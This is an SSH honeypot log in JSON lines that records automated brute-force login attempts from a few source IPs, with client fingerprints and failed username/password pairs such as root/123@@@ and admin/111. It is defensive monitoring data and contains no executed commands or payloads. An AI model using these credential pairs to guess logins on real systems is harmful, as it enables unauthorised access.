{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:37.432683Z","src_ip":"192.109.200.78","session":"6e903c59a1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:37.698622Z","src_ip":"192.109.200.78","session":"6e903c59a1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:38.795416Z","src_ip":"192.109.200.78","session":"6e903c59a1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38774,"dst_ip":"159.203.135.109","dst_port":22,"session":"c361395cba1d","protocol":"ssh","message":"New connection: 176.65.139.95:38774 (159.203.135.109:22) [session: c361395cba1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:40.352490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:40.362435Z","src_ip":"176.65.139.95","session":"c361395cba1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:40.441720Z","src_ip":"176.65.139.95","session":"c361395cba1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:40.792258Z","src_ip":"176.65.139.95","session":"c361395cba1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54022,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f93d9002a3","protocol":"ssh","message":"New connection: 192.109.200.78:54022 (159.203.135.109:22) [session: c9f93d9002a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:41.412974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:41.418239Z","src_ip":"192.109.200.78","session":"c9f93d9002a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:41.501908Z","src_ip":"192.109.200.78","session":"c9f93d9002a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:41.758054Z","src_ip":"192.109.200.78","session":"c9f93d9002a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:41.876915Z","src_ip":"176.65.139.95","session":"c361395cba1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:42.844004Z","src_ip":"192.109.200.78","session":"c9f93d9002a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"63beccd1e8c4","protocol":"ssh","message":"New connection: 192.109.200.78:54052 (159.203.135.109:22) [session: 63beccd1e8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:45.636987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:45.641624Z","src_ip":"192.109.200.78","session":"63beccd1e8c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:45.740059Z","src_ip":"192.109.200.78","session":"63beccd1e8c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:45.996295Z","src_ip":"192.109.200.78","session":"63beccd1e8c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38806,"dst_ip":"159.203.135.109","dst_port":22,"session":"018fb14194df","protocol":"ssh","message":"New connection: 176.65.139.95:38806 (159.203.135.109:22) [session: 018fb14194df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:47.106848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:47.112428Z","src_ip":"176.65.139.95","session":"018fb14194df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:47.118566Z","src_ip":"192.109.200.78","session":"63beccd1e8c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:47.213632Z","src_ip":"176.65.139.95","session":"018fb14194df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:47.485130Z","src_ip":"176.65.139.95","session":"018fb14194df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:48.579408Z","src_ip":"176.65.139.95","session":"018fb14194df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38142,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcd4c542c192","protocol":"ssh","message":"New connection: 192.109.200.78:38142 (159.203.135.109:22) [session: dcd4c542c192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:49.887518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:49.893329Z","src_ip":"192.109.200.78","session":"dcd4c542c192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:49.982791Z","src_ip":"192.109.200.78","session":"dcd4c542c192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:50.237885Z","src_ip":"192.109.200.78","session":"dcd4c542c192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:51.324647Z","src_ip":"192.109.200.78","session":"dcd4c542c192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58442,"dst_ip":"159.203.135.109","dst_port":22,"session":"764fabb0fdc7","protocol":"ssh","message":"New connection: 176.65.139.95:58442 (159.203.135.109:22) [session: 764fabb0fdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:53.373379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:53.383517Z","src_ip":"176.65.139.95","session":"764fabb0fdc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:53.457330Z","src_ip":"176.65.139.95","session":"764fabb0fdc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:53.812330Z","src_ip":"176.65.139.95","session":"764fabb0fdc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38156,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50f0df93603","protocol":"ssh","message":"New connection: 192.109.200.78:38156 (159.203.135.109:22) [session: d50f0df93603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:53.971259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:53.977078Z","src_ip":"192.109.200.78","session":"d50f0df93603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:54.059684Z","src_ip":"192.109.200.78","session":"d50f0df93603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:54.315234Z","src_ip":"192.109.200.78","session":"d50f0df93603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:55.014773Z","src_ip":"176.65.139.95","session":"764fabb0fdc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:55.401924Z","src_ip":"192.109.200.78","session":"d50f0df93603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34914,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d70420eb47e","protocol":"ssh","message":"New connection: 80.94.92.186:34914 (159.203.135.109:22) [session: 4d70420eb47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:56.821944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:57.073313Z","src_ip":"80.94.92.186","session":"4d70420eb47e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 